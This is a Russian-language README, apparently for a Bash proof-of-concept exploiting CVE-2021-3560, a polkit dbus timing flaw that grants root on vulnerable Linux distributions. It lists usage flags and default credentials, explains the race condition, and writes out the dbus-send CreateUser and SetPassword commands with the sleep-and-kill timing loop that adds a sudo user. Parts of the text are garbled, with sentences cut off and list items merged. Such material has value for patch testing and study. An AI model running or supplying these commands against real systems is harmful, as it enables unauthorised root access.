
Автоматизированный Bash PoC для CVE-2021-3560 повышения привилегий polkit. Эксплуатирует атаку по времени на dbus для внедрения пользователя sudo и получения root-оболочки на уязвимых дистрибутивах Linux.
Это просто Bash PoC скрипт, который автоматизирует шаги эксплуатации, описанные в блоге Кевина Бэкхауса. Прочитайте его статью об этой уязвимости: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
ИСПОЛЬЗОВАНИЕ:
./poc.sh
-h --help
-u=Введите имя пользователя для вставки (ОПЦИОНАЛЬНО)
-p=Введите пароль для вставки (ОПЦИОНАЛЬНО)
-f=y, Чтобы пропустить проверку уязвимости и принудительно выполнить эксплуатацию. (ОПЦИОНАЛЬНО)
-t=Введите собственное время задержки вместо автоматического определения (ОПЦИОНАЛЬНО)
Формат ввода времени: '-t=.004' или '-t=0.004', если вы хотите установить время задержки 0.004 мс
Примечание:
Знак равенства (=) после указания опции обязателен.
Если вы не укажете опции, скрипт автоматически определит возможное время и
попытается вставить нового пользователя, используя это время.
Учётные данные по умолчанию: 'secnigma:secnigmaftw'
Если эксплойт выполнен успешно, вы можете войти, используя 'su - secnigma',
и получить оболочку bash с правами root с помощью 'sudo bash'
accountsservice и gnome-control-center, и должна быть версия polkit 0.113 (или новее) ИЛИ 0-105-26 (форк Debian от polkit).Ubuntu 20.04 с polkit версии 0-105-26 (форк Debian от polkit) и Centos 8 с polkit версии 0.115. Если вы уверены, что ваша цель уязвима, но функция проверки эксплойта не срабатывает, используйте флаг -f=y, чтобы пропустить все проверки и принудительно запустить эксплойт.Подробное объяснение и PoC для ручной эксплуатации приведены в блоге исследователя.
Краткое описание этого эксплойта приведено ниже:
dbus для запуска polkit, но внезапно закрыв запрос, пока polkit обрабатывает его. Затем атакующий отправляет второй запрос с уникальным идентификатором шины предыдущего запроса, чтобы выполнить запрос с UID 0, то есть от имени root.polkit, потому что он обрабатывает UID соединения с идентификатором шины, который больше не существует, как запрос от UID 0. Это означает, что если мы сможем правильно рассчитать время атаки и завершить наш первый запрос в нужный момент, то мы сможем отправить второй запрос с привилегиями UID 0, то есть root.Как я уже говорил, это всего лишь bash-скрипт, автоматизирующий PoC Кевина Бэкхауса. Основные команды те же; я просто автоматизировал некоторые начальные шаги (например, определение правильного времени, сканирование на уязвимость, вставку пользовательских учётных данных, вывод цветов и т.д.).
Если этот скрипт запущен без параметров, то его поведение по умолчанию следующее:
/etc/os-release.]accountservice и gnome-control-center. [В rhel/centos/fedora используется rpm -qa, а в дистрибутивах debian/ubuntu — dpkg -l.]rhel.centos,fedora и 0-105-26 для Debian/Ubuntu]bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null su - <имя_пользователя> и пароля, переданного скрипту, а затем ввести sudo bash, чтобы получить root-оболочку!Esc, чтобы закрыть запрос аутентификации, и Ctrl+C, чтобы быстро завершить скрипт.$t) вычисляется как время, необходимое для запроса, делённое на 2. ($t=время-необходимое-для-запроса/2) [Вычисляется с помощью awk]$t) запрос на вставку $username secnigma на цель повторяется 20 раз. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $! id secnigma], то генерируется хэш пароля [с помощью bash openssl passwd -5 `echo -n $password` ]. ($password=secnigmaftw)bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!